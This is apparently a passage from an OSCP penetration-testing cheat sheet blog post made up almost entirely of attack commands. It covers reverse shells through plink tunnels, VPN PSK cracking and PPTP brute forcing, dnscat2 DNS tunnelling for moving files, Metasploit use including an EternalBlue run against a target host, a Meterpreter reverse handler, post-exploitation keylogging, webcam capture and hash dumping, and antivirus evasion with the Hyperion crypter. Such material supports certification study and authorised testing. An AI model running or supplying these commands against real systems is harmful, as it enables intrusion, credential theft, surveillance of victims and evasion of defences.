- netsh advfirewall firewall add rule name=”3000″ dir=in action=allow protocol=TCP localport=3000
- netsh advfirewall firewall add rule name=”1080″ dir=in action=allow protocol=TCP localport=1080
- netsh advfirewall firewall add rule name=”1079″ dir=in action=allow protocol=TCP localport=1079
- Start the http tunnel client

httptunnel_client.exe

Create HTTP reverse shell by connecting to localhost port 3000

plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000

VLAN Hopping
- git clone https://github.com/nccgroup/vlan-hopping.git
- chmod 700 frogger.sh
- ./frogger.sh
VPN Hacking
- Identify VPN servers:
  ./udp-protocol-scanner.pl -p ike $ip
- Scan a range for VPN servers:
  ./udp-protocol-scanner.pl -p ike -f ip.txt
- Use IKEForce to enumerate or dictionary attack VPN servers:

pip install pyip

git clone https://github.com/SpiderLabs/ikeforce.git

Perform IKE VPN enumeration with IKEForce:

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Bruteforce IKE VPN using IKEForce:

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash:

ike-scan

ike-scan TARGET-IP

ike-scan -A TARGET-IP

ike-scan -A TARGET-IP –id=myid -P TARGET-IP-key

ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP

Use psk-crack to crack the PSK hash

psk-crack hash-file.txt

pskcrack

psk-crack -b 5 TARGET-IPkey

psk-crack -b 5 –charset=”01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz” 192-168-207-134key

psk-crack -d /path/to/dictionary-file TARGET-IP-key

PPTP Hacking
- Identifying PPTP, it listens on TCP: 1723
  NMAP PPTP Fingerprint:

nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

Port Forwarding/Redirection
PuTTY Link tunnel – SSH Tunneling
- Forward remote port to local address:

plink.exe -P 22 -l root -pw “1337” -R 445:<local host>:445 <remote host>

SSH Pivoting
- SSH pivoting from one network to another:

ssh -D <local host>:1010 -p 22 user@<remote host>

DNS Tunneling
- dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
- Attacking Machine Installation:
- apt-get update
- apt-get -y install ruby-dev git make g++
- gem install bundler
- git clone https://github.com/iagox86/dnscat2.git
- cd dnscat2/server

bundle install

Run dnscat2:
- ruby ./dnscat2.rb
- dnscat2> New session established: 1422
- dnscat2> session -i 1422
Target Machine:
https://downloads.skullsecurity.org/dnscat2/

https://github.com/lukebaggett/dnscat2-powershell/

dnscat –host <dnscat server ip>

The Metasploit Framework

See Metasploit Unleashed Course in the Essentials
Search for exploits using Metasploit GitHub framework source code:
https://github.com/rapid7/metasploit-framework
Translate them for use on OSCP LAB or EXAM.
Metasploit
- MetaSploit requires Postfresql

systemctl start postgresql

To enable Postgresql on startup

systemctl enable postgresql

MSF Syntax
- Start metasploit

msfconsole

msfconsole -q

Show help for command

show -h

Show Auxiliary modules

show auxiliary

Use a module
- use auxiliary/scanner/snmp/snmp_enum
- use auxiliary/scanner/http/webdav_scanner
- use auxiliary/scanner/smb/smb_version
- use auxiliary/scanner/ftp/ftp_login
- use exploit/windows/pop3/seattlelab_pass
Show the basic information for a module

info

Show the configuration parameters for a module

show options

Set options for a module
- set RHOSTS 192.168.1.1-254
- set THREADS 10
Run the module

run

Execute an Exploit

exploit

Search for a module

search type:auxiliary login

Metasploit Database Access
- Show all hosts discovered in the MSF database

hosts

Scan for hosts and store them in the MSF database

db_nmap

Search machines for specific ports in MSF database

services -p 443

Leverage MSF database to scan SMB ports (auto-completed rhosts)

services -p 443 –rhosts

Staged and Non-staged
- Non-staged payload – is a payload that is sent in its entirety in one go
- Staged – sent in two parts Not have enough buffer space Or need to bypass antivirus
MS 17-010 – EternalBlue
- You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: https://www.youtube.com/watch?v=4OHLor9VaRI
First step is to configure the Kali to work with wine 32bit

dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine wine cmd.exe exit

Download the exploit repostory https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
Move the exploit to /usr/share/metasploit-framework/modules/exploits/windows/smb or ~/.msf4/modules/exploits/windows/smb
Start metasploit console
I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.

use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10 RHOST => 10.10.10.10 msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe PROCESSINJECT => spoolsv.exe msf exploit(eternalblue_doublepulsar) > run

Experimenting with Meterpreter
- Get system information from Meterpreter Shell

sysinfo

Get user id from Meterpreter Shell

getuid

Search for a file

search -f *pass*.txt

Upload a file

upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

Download a file

download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

Invoke a command shell from Meterpreter Shell

shell

Exit the meterpreter shell

exit

Metasploit Exploit Multi Handler
- multi/handler to accept an incoming reverse_https_meterpreter
- payload
- use exploit/multi/handler
- set PAYLOAD windows/meterpreter/reverse_https
- set LHOST $ip
- set LPORT 443
- exploit
- [*] Started HTTPS reverse handler on https://$ip:443/
Building Your Own MSF Module
- mkdir -p ~/.msf4/modules/exploits/linux/misc
- cd ~/.msf4/modules/exploits/linux/misc
- cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb
- nano crossfire.rb

Post Exploitation with Metasploit – (available options depend on OS and Meterpreter Cababilities)
- download Download a file or directory
  upload Upload a file or directory
  portfwd Forward a local port to a remote service
  route View and modify the routing table
  keyscan_start Start capturing keystrokes
  keyscan_stop Stop capturing keystrokes
  screenshot Grab a screenshot of the interactive desktop
  record_mic Record audio from the default microphone for X seconds
  webcam_snap Take a snapshot from the specified webcam
  getsystem Attempt to elevate your privilege to that of local system.
  hashdump Dumps the contents of the SAM database
Meterpreter Post Exploitation Features
- Create a Meterpreter background session

background

Bypassing Antivirus Software

Crypting Known Malware with Software Protectors
- One such open source crypter, called Hyperion
- cp /usr/share/windows-binaries/Hyperion-1.0.zip
- unzip Hyperion-1.0.zip
- cd Hyperion-1.0/
- i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
- cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
- cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .

Published @ June 13, 2022 9:17 am